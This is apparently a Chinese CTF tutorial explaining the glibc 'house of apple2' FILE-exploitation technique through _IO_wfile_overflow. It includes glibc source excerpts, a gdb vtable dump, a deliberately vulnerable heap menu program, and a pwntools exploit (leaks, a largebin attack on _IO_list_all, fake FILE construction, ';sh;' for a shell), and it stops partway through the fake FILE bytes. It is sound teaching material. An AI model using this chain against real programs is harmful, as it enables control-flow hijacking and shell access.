house of apple2之_IO_wfile_overflow

house of apple2之_IO_wfile_overflow

原理

house of apple系列是由山海关的大pwn佬roderick01师傅于2022年提出来的一种io利用方法,其基于劫持IO_FILE->wide_data,来控制程序执行流

而这种方式相较于之前提出来的各种利用方式,要求少了很多,使用条件只有以下三条

  • 已知heap地址和glibc地址
  • 能控制程序执行IO操作,包括但不限于:从main函数返回、调用exit函数、通过__malloc_assert触发
  • 能控制_IO_FILEvtable_wide_data,一般使用largebin attack去控制,也只需要一次largebin attack即可

在原文里存在多条不同的调用链,限于篇幅,本文只涉及其中一条,即_IO_wfile_overflow

我们先来回顾一下io结构体的源代码

struct _IO_FILE
{
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */

  /* The following pointers correspond to the C++ streambuf protocol. */
  char *_IO_read_ptr;   /* Current read pointer */
  char *_IO_read_end;   /* End of get area. */
  char *_IO_read_base;  /* Start of putback+get area. */
  char *_IO_write_base; /* Start of put area. */
  char *_IO_write_ptr;  /* Current put pointer. */
  char *_IO_write_end;  /* End of put area. */
  char *_IO_buf_base;   /* Start of reserve area. */
  char *_IO_buf_end;    /* End of reserve area. */

  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
  int _flags2;
  __off_t _old_offset; /* This used to be _offset but it's too small.  */

  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

那么对于这个结构体,在libc2.24之后,程序都会对其虚表指针(vtable,stdin/stdout/stderr这三个_IO_FILE结构体使用的是IO_file_jumps)进行地址检查,检查其范围是不是在虚表范围之内,所以曾经的各种利用方式也都在虚表范围内进行操作,无论是其中的那一个,都逃不过这个检查,那么有没有什么操作可以跳出这个限制,或者绕过这个保护呢

这就引出了house of apple2,其涉及到了宽字节_IO_wide_data结构体(宽字节其实就是类似中文这种无法用一个字节ASCII码处理的字符)

我们来看一下它的结构体

struct _IO_wide_data
{
  wchar_t *_IO_read_ptr;    /* Current read pointer */
  wchar_t *_IO_read_end;    /* End of get area. */
  wchar_t *_IO_read_base;   /* Start of putback+get area. */
  wchar_t *_IO_write_base;  /* Start of put area. */
  wchar_t *_IO_write_ptr;   /* Current put pointer. */
  wchar_t *_IO_write_end;   /* End of put area. */
  wchar_t *_IO_buf_base;    /* Start of reserve area. */
  wchar_t *_IO_buf_end;     /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  wchar_t *_IO_save_base;   /* Pointer to start of non-current get area. */
  wchar_t *_IO_backup_base; /* Pointer to first valid character of
                   backup area */
  wchar_t *_IO_save_end;    /* Pointer to end of non-current get area. */

  __mbstate_t _IO_state;
  __mbstate_t _IO_last_state;
  struct _IO_codecvt _codecvt;

  wchar_t _shortbuf[1];

  const struct _IO_jump_t *_wide_vtable;
};

可以发现,这个结构体和io_file结构体相似度极高,也存在一个IO_jump_t结构体,_wide_vtable

我们尝试向上溯源,看看是哪个位置调用过它

根据引用,不难找到_IO_wdoallocbuf函数,在这个函数里面,调用了IO_wide_data结构体

需要满足fp->_wide_data->_IO_buf_base == 0fp->_flags & _IO_UNBUFFERED == 0,就可以调用到该结构体

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)// _IO_WXXXX调用
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

里面涉及到一个宏定义,_IO_WDOALLOCATE

extern void _IO_wdoallocbuf (FILE *) __THROW;
libc_hidden_proto (_IO_wdoallocbuf)

其中的宏定义拓展是这个样子,我们取出来逐行分析

((*(__typeof__ (((struct _IO_FILE){})._wide_data) *)(((char *) ((fp))) + __builtin_offsetof(struct _IO_FILE, _wide_data)))->_wide_vtable->__doallocate) (fp)

看起来相当复杂,但是其实我们一点一点分析即可

(1)(typeof (((struct _IO_FILE){})._wide_data))`

  • __typeof__ 是 GNU C 的一个扩展,用于获取表达式的类型。在这里,它使用了 _IO_FILE 结构体的 _wide_data 成员来确定类型。
  • ((struct _IO_FILE){}) 创建了一个匿名的 _IO_FILE 结构体的实例,并使用 _wide_data 获取这个成员的类型。
  • __typeof__ (((struct _IO_FILE){})._wide_data) 表示这个宏展开时会根据 _IO_FILE_wide_data 成员类型来确定类型。

(2) (char \*) ((fp))

  • (fp) 是传入的参数,通常是一个指向 _IO_FILE 结构体的指针。在这里,它被强制转换为 char* 类型,目的是进行指针的位移操作。

(3) __builtin_offsetof(struct _IO_FILE, _wide_data)

  • __builtin_offsetof 是 GCC 内建函数,返回指定结构体成员的偏移量。在这里,它返回 _wide_data 成员在 _IO_FILE 结构体中的偏移量。
  • 这一步是为了通过指针计算得到 _wide_data 成员的实际位置。

(4) (((char \*) ((fp))) + __builtin_offsetof(struct _IO_FILE, _wide_data))

  • 这个表达式的作用是通过将 fp 转换为 char* 指针,并加上 _wide_data 在结构体中的偏移量,来计算 _wide_data 的地址。

(5) (__typeof__ (((struct _IO_FILE){})._wide_data) \*)

  • 这里将上面计算得到的地址强制转换为 _wide_data 成员的类型指针。

(6) ->_wide_vtable->__doallocate

  • _wide_data 结构体中有一个 _wide_vtable,它指向一张虚表(vtable)。通过这个虚表,我们访问其中的 __doallocate 函数。

(7) (fp)

  • 最后,将 fp 作为参数传递给 __doallocate 函数。

该宏的作用是在运行时通过指针操作计算出 _IO_FILE 结构体中的 _wide_data 成员的位置,然后通过虚函数表(vtable)调用 __doallocate 函数,并传入 fp 作为参数。

不难发现,根本没有对地址的加密,检查等操作,所以这里就存在利用的操作了,那么我们再看看从哪里可以调用到这个函数

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
    {
      _IO_wdoallocbuf (f);// 需要走到这里
      // ......
    }
    }
}

也是可以很轻易的找到_IO_wfile_overflow函数,可以看到其中调用了IO_wdoallocbuf函数,需要满足f->_flags & _IO_NO_WRITES == 0并且f->_flags & _IO_CURRENTLY_PUTTING == 0f->_wide_data->_IO_write_base == 0,就可以走到调用的位置了

所以我们不难总结出一下的函数调用链

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

所以总结一下,我们可以通过修改 vtable 改变程序执行流程,使程序调用 _wide_vtable 中的函数,然后再将 _wide_vtable 指向一个伪造的函数表从而劫持程序执行流程。

所以其实我们的重点还是在于,怎么去调用到_IO_wfile_overflow函数

我们可以利用gdb把整个_IO_file_jumps打印出来

18:00c0  0x7fd1abe63310 (__io_vtables+16) —▸ 0x7fd1abd148c0 (_IO_str_finish) ◂— endbr64
19:00c8  0x7fd1abe63318 (__io_vtables+24) —▸ 0x7fd1abd143d0 (_IO_str_overflow) ◂— endbr64
1a:00d0  0x7fd1abe63320 (__io_vtables+32) —▸ 0x7fd1abd14590 (_IO_str_underflow) ◂— endbr64
1b:00d8  0x7fd1abe63328 (__io_vtables+40) —▸ 0x7fd1abd12a70 (_IO_default_uflow) ◂— endbr64
1c:00e0  0x7fd1abe63330 (__io_vtables+48) —▸ 0x7fd1abd148a0 (_IO_str_pbackfail) ◂— endbr64
1d:00e8  0x7fd1abe63338 (__io_vtables+56) —▸ 0x7fd1abd12ad0 (_IO_default_xsputn) ◂— endbr64
1e:00f0  0x7fd1abe63340 (__io_vtables+64) —▸ 0x7fd1abd12c50 (_IO_default_xsgetn) ◂— endbr64
1f:00f8  0x7fd1abe63348 (__io_vtables+72) —▸ 0x7fd1abd14610 (_IO_str_seekoff) ◂— endbr64
20:0100  0x7fd1abe63350 (__io_vtables+80) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
21:0108  0x7fd1abe63358 (__io_vtables+88) —▸ 0x7fd1abd12d10 (_IO_default_setbuf) ◂— endbr64
22:0110  0x7fd1abe63360 (__io_vtables+96) —▸ 0x7fd1abd13100 (_IO_default_sync) ◂— endbr64
23:0118  0x7fd1abe63368 (__io_vtables+104) —▸ 0x7fd1abd12e80 (_IO_default_doallocate) ◂— endbr64
24:0120  0x7fd1abe63370 (__io_vtables+112) —▸ 0x7fd1abd13f80 (_IO_default_read) ◂— endbr64
25:0128  0x7fd1abe63378 (__io_vtables+120) —▸ 0x7fd1abd13f90 (_IO_default_write) ◂— endbr64
26:0130  0x7fd1abe63380 (__io_vtables+128) —▸ 0x7fd1abd13f60 (_IO_default_seek) ◂— endbr64
27:0138  0x7fd1abe63388 (__io_vtables+136) —▸ 0x7fd1abd13100 (_IO_default_sync) ◂— endbr64
28:0140  0x7fd1abe63390 (__io_vtables+144) —▸ 0x7fd1abd13f70 (_IO_default_stat) ◂— endbr64
29:0148  0x7fd1abe63398 (__io_vtables+152) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
2a:0150  0x7fd1abe633a0 (__io_vtables+160) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
2b:0158  0x7fd1abe633a8 (__io_vtables+168) ◂— 0
2c:0160  0x7fd1abe633b0 (__io_vtables+176) ◂— 0
2d:0168  0x7fd1abe633b8 (__io_vtables+184) —▸ 0x7fd1abd0a980 (_IO_wstr_finish) ◂— endbr64
2e:0170  0x7fd1abe633c0 (__io_vtables+192) —▸ 0x7fd1abd0a3c0 (_IO_wstr_overflow) ◂— endbr64
2f:0178  0x7fd1abe633c8 (__io_vtables+200) —▸ 0x7fd1abd0a5e0 (_IO_wstr_underflow) ◂— endbr64
30:0180  0x7fd1abe633d0 (__io_vtables+208) —▸ 0x7fd1abd09700 (_IO_wdefault_uflow) ◂— endbr64
31:0188  0x7fd1abe633d8 (__io_vtables+216) —▸ 0x7fd1abd0a960 (_IO_wstr_pbackfail) ◂— endbr64
32:0190  0x7fd1abe633e0 (__io_vtables+224) —▸ 0x7fd1abd097e0 (_IO_wdefault_xsputn) ◂— endbr64
33:0198  0x7fd1abe633e8 (__io_vtables+232) —▸ 0x7fd1abd09d40 (_IO_wdefault_xsgetn) ◂— endbr64
34:01a0  0x7fd1abe633f0 (__io_vtables+240) —▸ 0x7fd1abd0a680 (_IO_wstr_seekoff) ◂— endbr64
35:01a8  0x7fd1abe633f8 (__io_vtables+248) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
36:01b0  0x7fd1abe63400 (__io_vtables+256) —▸ 0x7fd1abd12d10 (_IO_default_setbuf) ◂— endbr64
37:01b8  0x7fd1abe63408 (__io_vtables+264) —▸ 0x7fd1abd13100 (_IO_default_sync) ◂— endbr64
38:01c0  0x7fd1abe63410 (__io_vtables+272) —▸ 0x7fd1abd09950 (_IO_wdefault_doallocate) ◂— endbr64
39:01c8  0x7fd1abe63418 (__io_vtables+280) —▸ 0x7fd1abd13f80 (_IO_default_read) ◂— endbr64
3a:01d0  0x7fd1abe63420 (__io_vtables+288) —▸ 0x7fd1abd13f90 (_IO_default_write) ◂— endbr64
3b:01d8  0x7fd1abe63428 (__io_vtables+296) —▸ 0x7fd1abd13f60 (_IO_default_seek) ◂— endbr64
3c:01e0  0x7fd1abe63430 (__io_vtables+304) —▸ 0x7fd1abd13100 (_IO_default_sync) ◂— endbr64
3d:01e8  0x7fd1abe63438 (__io_vtables+312) —▸ 0x7fd1abd13f70 (_IO_default_stat) ◂— endbr64
3e:01f0  0x7fd1abe63440 (__io_vtables+320) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
3f:01f8  0x7fd1abe63448 (__io_vtables+328) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
40:0200  0x7fd1abe63450 (_IO_file_jumps) ◂— 0
41:0208  0x7fd1abe63458 (_IO_file_jumps+8) ◂— 0
42:0210  0x7fd1abe63460 (_IO_file_jumps+16) —▸ 0x7fd1abd10010 (__SI_IO_new_file_finish_3) ◂— endbr64
43:0218  0x7fd1abe63468 (_IO_file_jumps+24) —▸ 0x7fd1abd10bc0 (__SI_IO_new_file_overflow_8) ◂— endbr64
44:0220  0x7fd1abe63470 (_IO_file_jumps+32) —▸ 0x7fd1abd10780 (__SI_IO_new_file_underflow_10) ◂— endbr64
45:0228  0x7fd1abe63478 (_IO_file_jumps+40) —▸ 0x7fd1abd12a70 (_IO_default_uflow) ◂— endbr64
46:0230  0x7fd1abe63480 (_IO_file_jumps+48) —▸ 0x7fd1abd13e10 (_IO_default_pbackfail) ◂— endbr64
47:0238  0x7fd1abe63488 (_IO_file_jumps+56) —▸ 0x7fd1abd11740 (__SI_IO_new_file_xsputn_12) ◂— endbr64
48:0240  0x7fd1abe63490 (_IO_file_jumps+64) —▸ 0x7fd1abd11920 (__GI__IO_file_xsgetn) ◂— endbr64
49:0248  0x7fd1abe63498 (_IO_file_jumps+72) —▸ 0x7fd1abd10f10 (__SI_IO_new_file_seekoff_9) ◂— endbr64
4a:0250  0x7fd1abe634a0 (_IO_file_jumps+80) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
4b:0258  0x7fd1abe634a8 (_IO_file_jumps+88) —▸ 0x7fd1abd106a0 (__SI_IO_new_file_setbuf_6) ◂— endbr64
4c:0260  0x7fd1abe634b0 (_IO_file_jumps+96) —▸ 0x7fd1abd10dd0 (__SI_IO_new_file_sync_7) ◂— endbr64
4d:0268  0x7fd1abe634b8 (_IO_file_jumps+104) —▸ 0x7fd1abd043e0 (_IO_file_doallocate) ◂— endbr64
4e:0270  0x7fd1abe634c0 (_IO_file_jumps+112) —▸ 0x7fd1abd11600 (_IO_file_read) ◂— endbr64
4f:0278  0x7fd1abe634c8 (_IO_file_jumps+120) —▸ 0x7fd1abd116a0 (__SI_IO_new_file_write_11) ◂— endbr64
50:0280  0x7fd1abe634d0 (_IO_file_jumps+128) —▸ 0x7fd1abd11630 (_IO_file_seek) ◂— endbr64
51:0288  0x7fd1abe634d8 (_IO_file_jumps+136) —▸ 0x7fd1abd11690 (_IO_file_close) ◂— endbr64
52:0290  0x7fd1abe634e0 (_IO_file_jumps+144) —▸ 0x7fd1abd11640 (_IO_file_stat) ◂— endbr64
53:0298  0x7fd1abe634e8 (_IO_file_jumps+152) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
54:02a0  0x7fd1abe634f0 (_IO_file_jumps+160) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
55:02a8  0x7fd1abe634f8 (__io_vtables+504) ◂— 0
56:02b0  0x7fd1abe63500 (__io_vtables+512) ◂— 0
57:02b8  0x7fd1abe63508 (__io_vtables+520) —▸ 0x7fd1abd10010 (__SI_IO_new_file_finish_3) ◂— endbr64
58:02c0  0x7fd1abe63510 (__io_vtables+528) —▸ 0x7fd1abd10bc0 (__SI_IO_new_file_overflow_8) ◂— endbr64
59:02c8  0x7fd1abe63518 (__io_vtables+536) —▸ 0x7fd1abd10ad0 (_IO_file_underflow_mmap) ◂— endbr64
5a:02d0  0x7fd1abe63520 (__io_vtables+544) —▸ 0x7fd1abd12a70 (_IO_default_uflow) ◂— endbr64
5b:02d8  0x7fd1abe63528 (__io_vtables+552) —▸ 0x7fd1abd13e10 (_IO_default_pbackfail) ◂— endbr64
5c:02e0  0x7fd1abe63530 (__io_vtables+560) —▸ 0x7fd1abd11740 (__SI_IO_new_file_xsputn_12) ◂— endbr64
5d:02e8  0x7fd1abe63538 (__io_vtables+568) —▸ 0x7fd1abd11b40 (_IO_file_xsgetn_mmap) ◂— endbr64
5e:02f0  0x7fd1abe63540 (__io_vtables+576) —▸ 0x7fd1abd11470 (_IO_file_seekoff_mmap) ◂— endbr64
5f:02f8  0x7fd1abe63548 (__io_vtables+ 584) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
60:0300  0x7fd1abe63550 (__io_vtables+592) —▸ 0x7fd1abd106e0 (_IO_file_setbuf_mmap) ◂— endbr64
61:0308  0x7fd1abe63558 (__io_vtables+600) —▸ 0x7fd1abd10eb0 (_IO_file_sync_mmap) ◂— endbr64
62:0310  0x7fd1abe63560 (__io_vtables+608) —▸ 0x7fd1abd043e0 (_IO_file_doallocate) ◂— endbr64
63:0318  0x7fd1abe63568 (__io_vtables+616) —▸ 0x7fd1abd11600 (_IO_file_read) ◂— endbr64
64:0320  0x7fd1abe63570 (__io_vtables+624) —▸ 0x7fd1abd116a0 (__SI_IO_new_file_write_11) ◂— endbr64
65:0328  0x7fd1abe63578 (__io_vtables+632) —▸ 0x7fd1abd11630 (_IO_file_seek) ◂— endbr64
66:0330  0x7fd1abe63580 (__io_vtables+640) —▸ 0x7fd1abd11650 (_IO_file_close_mmap) ◂— endbr64
67:0338  0x7fd1abe63588 (__io_vtables+648) —▸ 0x7fd1abd11640 (_IO_file_stat) ◂— endbr64
68:0340  0x7fd1abe63590 (__io_vtables+656) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
69:0348  0x7fd1abe63598 (__io_vtables+664) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
6a:0350  0x7fd1abe635a0 (__io_vtables+672) ◂— 0
6b:0358  0x7fd1abe635a8 (__io_vtables+680) ◂— 0
6c:0360  0x7fd1abe635b0 (__io_vtables+688) —▸ 0x7fd1abd10010 (__SI_IO_new_file_finish_3) ◂— endbr64
6d:0368  0x7fd1abe635b8 (__io_vtables+696) —▸ 0x7fd1abd10bc0 (__SI_IO_new_file_overflow_8) ◂— endbr64
6e:0370  0x7fd1abe635c0 (__io_vtables+704) —▸ 0x7fd1abd10b60 (_IO_file_underflow_maybe_mmap) ◂— endbr64
6f:0378  0x7fd1abe635c8 (__io_vtables+712) —▸ 0x7fd1abd12a70 (_IO_default_uflow) ◂— endbr64
70:0380  0x7fd1abe635d0 (__io_vtables+720) —▸ 0x7fd1abd13e10 (_IO_default_pbackfail) ◂— endbr64
71:0388  0x7fd1abe635d8 (__io_vtables+728) —▸ 0x7fd1abd11740 (__SI_IO_new_file_xsputn_12) ◂— endbr64
72:0390  0x7fd1abe635e0 (__io_vtables+736) —▸ 0x7fd1abd11c40 (_IO_file_xsgetn_maybe_mmap) ◂— endbr64
73:0398  0x7fd1abe635e8 (__io_vtables+744) —▸ 0x7fd1abd11590 (_IO_file_seekoff_maybe_mmap) ◂— endbr64
74:03a0  0x7fd1abe635f0 (__io_vtables+752) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
75:03a8  0x7fd1abe635f8 (__io_vtables+760) —▸ 0x7fd1abd106e0 (_IO_file_setbuf_mmap) ◂— endbr64
76:03b0  0x7fd1abe63600 (__io_vtables+768) —▸ 0x7fd1abd10dd0 (__SI_IO_new_file_sync_7) ◂— endbr64
77:03b8  0x7fd1abe63608 (__io_vtables+776) —▸ 0x7fd1abd043e0 (_IO_file_doallocate) ◂— endbr64
78:03c0  0x7fd1abe63610 (__io_vtables+784) —▸ 0x7fd1abd11600 (_IO_file_read) ◂— endbr64
79:03c8  0x7fd1abe63618 (__io_vtables+792) —▸ 0x7fd1abd116a0 (__SI_IO_new_file_write_11) ◂— endbr64
7a:03d0  0x7fd1abe63620 (__io_vtables+800) —▸ 0x7fd1abd11630 (_IO_file_seek) ◂— endbr64
7b:03d8  0x7fd1abe63628 (__io_vtables+808) —▸ 0x7fd1abd11690 (_IO_file_close) ◂— endbr64
7c:03e0  0x7fd1abe63630 (__io_vtables+816) —▸ 0x7fd1abd11640 (_IO_file_stat) ◂— endbr64
7d:03e8  0x7fd1abe63638 (__io_vtables+824) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
7e:03f0  0x7fd1abe63640 (__io_vtables+832) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64
7f:03f8  0x7fd1abe63648 (_IO_wfile_jumps) ◂— 0
80:0400  0x7fd1abe63650 (_IO_wfile_jumps+8) ◂— 0
81:0408  0x7fd1abe63658 (_IO_wfile_jumps+16) —▸ 0x7fd1abd10010 (__SI_IO_new_file_finish_3) ◂— endbr64
82:0410  0x7fd1abe63660 (_IO_wfile_jumps+24) —▸ 0x7fd1abd0b4d0 (_IO_wfile_overflow) ◂— endbr64
83:0418  0x7fd1abe63668 (_IO_wfile_jumps+32) —▸ 0x7fd1abd0ac90 (_IO_wfile_underflow) ◂— endbr64
84:0420  0x7fd1abe63670 (_IO_wfile_jumps+40) —▸ 0x7fd1abd09700 (_IO_wdefault_uflow) ◂— endbr64
85:0428  0x7fd1abe63678 (_IO_wfile_jumps+48) —▸ 0x7fd1abd094b0 (_IO_wdefault_pbackfail) ◂— endbr64
86:0430  0x7fd1abe63680 (_IO_wfile_jumps+56) —▸ 0x7fd1abd0c150 (_IO_wfile_xsputn) ◂— endbr64
87:0438  0x7fd1abe63688 (_IO_wfile_jumps+64) —▸ 0x7fd1abd11920 (__GI__IO_file_xsgetn) ◂— endbr64
88:0440  0x7fd1abe63690 (_IO_wfile_jumps+72) —▸ 0x7fd1abd0b920 (_IO_wfile_seekoff) ◂— endbr64
89:0448  0x7fd1abe63698 (_IO_wfile_jumps+80) —▸ 0x7fd1abd12e10 (_IO_default_seekpos) ◂— endbr64
8a:0450  0x7fd1abe636a0 (_IO_wfile_jumps+88) —▸ 0x7fd1abd106a0 (__SI_IO_new_file_setbuf_6) ◂— endbr64
8b:0458  0x7fd1abe636a8 (_IO_wfile_jumps+96) —▸ 0x7fd1abd0b780 (_IO_wfile_sync) ◂— endbr64
8c:0460  0x7fd1abe636b0 (_IO_wfile_jumps+104) —▸ 0x7fd1abd05960 (_IO_wfile_doallocate) ◂— endbr64
8d:0468  0x7fd1abe636b8 (_IO_wfile_jumps+112) —▸ 0x7fd1abd11600 (_IO_file_read) ◂— endbr64
8e:0470  0x7fd1abe636c0 (_IO_wfile_jumps+120) —▸ 0x7fd1abd116a0 (__SI_IO_new_file_write_11) ◂— endbr64
8f:0478  0x7fd1abe636c8 (_IO_wfile_jumps+128) —▸ 0x7fd1abd11630 (_IO_file_seek) ◂— endbr64
90:0480  0x7fd1abe636d0 (_IO_wfile_jumps+136) —▸ 0x7fd1abd11690 (_IO_file_close) ◂— endbr64
91:0488  0x7fd1abe636d8 (_IO_wfile_jumps+144) —▸ 0x7fd1abd11640 (_IO_file_stat) ◂— endbr64
92:0490  0x7fd1abe636e0 (_IO_wfile_jumps+152) —▸ 0x7fd1abd13fa0 (_IO_default_showmanyc) ◂— endbr64
93:0498  0x7fd1abe636e8 (_IO_wfile_jumps+160) —▸ 0x7fd1abd13fb0 (_IO_default_imbue) ◂— endbr64

查找一下可以发现在第410行的位置有_IO_wfile_overflow

82:0410  0x7fd1abe63660 (_IO_wfile_jumps+24) —▸ 0x7fd1abd0b4d0 (_IO_wfile_overflow) ◂— endbr64

可见,这个函数其实是在这个表里面,而这个表就是虚表地址检查的范围,所以我们只需要将vatable指针指向表的某个偏移处,使其最终调用到这个函数即可

总结一下上述的攻击

而上述的函数调用,最终走到调用位置的条件不同,这里也需要总结一下

fp的设置如下:

  • _flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为;sh;
  • vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
  • _wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
  • _wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
  • _wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
  • _wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
  • _wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

例题

最终我们还是需要通过题目来进行学习

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        int choice = get_num();
        switch (choice) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

这是例题的源代码,除了把io堵死了,剩下的没有任何限制,而我本地使用的libc为2.38

.rodata:0000000000197540 banner          db 'GNU C Library (GNU libc) stable release version 2.38.',0Ah

首先简单的逆向我就不再多说

from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')

elf = ELF("./pwn")
libc = ELF("libc.so.6")
io = process(["/home/gets/pwn/study/heap/apple2/ld-linux-x86-64.so.2", "./pwn"],
            env={"LD_PRELOAD":"/home/gets/pwn/study/heap/apple2/libc.so.6"})

def dbg():
    gdb.attach(io)

def add(index, size):
    io.sendafter("choice:", "1")
    io.sendafter("index:", str(index))
    io.sendafter("size:", str(size))

def free(index):
    io.sendafter("choice:", "2")
    io.sendafter("index:", str(index))

def edit(index, content):
    io.sendafter("choice:", "3")
    io.sendafter("index:", str(index))
    io.sendafter("length:", str(len(content)))
    io.sendafter("content:", content)

def show(index):
    io.sendafter("choice:", "4")
    io.sendafter("index:", str(index))

然后我们泄露堆地址和libc地址

add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)
free(2)
free(0)

可以通过chunk2泄露libc,通过chunk0泄露堆地址

edit(2, 'a')
show(2)
libc.address = u64(io.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + ord('a'))
info("libc base: " + hex(libc.address))

这是泄露libc,泄露完之后需要改回来,防止报错,然后采用相同方式,泄露堆地址

edit(2, '\x00')
show(0)
io.recv()
heap_base = u64(io.recv(6).ljust(8,b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))

可以看到,我们成功拿到了libc和堆地址

这个时候要开始着手进行largebin attack了,我们把堆块0申请回来,这个时候的堆块2就会被放进largebin,修改它的bk_nextsize指针,指向目标地址(这里是_IO_list_all)减去0x20

在把0号堆块free掉,这时候0号堆块在unsortedbin里面,我们申请0x408,就可以把0号堆块放进largebin,这里可能大家会有疑惑,为什么不会切割堆块,反而会放进largebin里面,这是因为从 unsorted bin 中直接切割 chunk 的条件中 victim == av->last_remainder 没有满足(因为成为 last_remainder 的条件之一是大小在 small bin 范围内),最终 unsorted bin 中的 chunk 进入 large bin 中触发 large bin attack 。

也就是这样,我们满足了释放一个更小的堆块进入largebin的操作,完成了攻击

add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['_IO_list_all'] - 0x20))
free(0)
add(0, 0x408)
pwndbg> p &_IO_list_all
$1 = (struct _IO_FILE_plus **) 0x7f0a7ef636a0 <__GI__IO_list_all>
pwndbg> x/gx 0x7f0a7ef636a0
0x7f0a7ef636a0 <__GI__IO_list_all>:     0x00005555561d26d0

可以看到,这个时候我们的_IO_list_all就被伪造成堆块2的地址了,然后我们需要准备一些参数和把chunk2的数值还原,防止出问题

file_addr = heap_base + 0x6d0
IO_wide_data_addr = (file_addr + 0xd8 + 8) - 0xe0
wide_vtable_addr = (file_addr + 0xd8 + 8 + 8) - 0x68

edit(2, p64(libc.sym['main_arena'] + 1104) * 2 + p64(file_addr) * 2)
add(2, 0x428)

然后我们进行堆块的伪造

fake_io = b""
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
fake_io += p64(0)  # _IO_buf_base;
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_io += p64(0) * 4  # from _IO_save_base to _markers
fake_io += p64(0)  # the FILE chain ptr
fake_io += p32(2)  # _fileno for stderr is 2
fake_io += p32(0)  # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_io += p16(0)  # _cur_column
fake_io += b"\x00"  # _vtable_offset
fake_io += b"\n"  # _shortbuf[1]
fake_io += p32(0)  # padding
fake_io += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_io += p64(0)  # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1
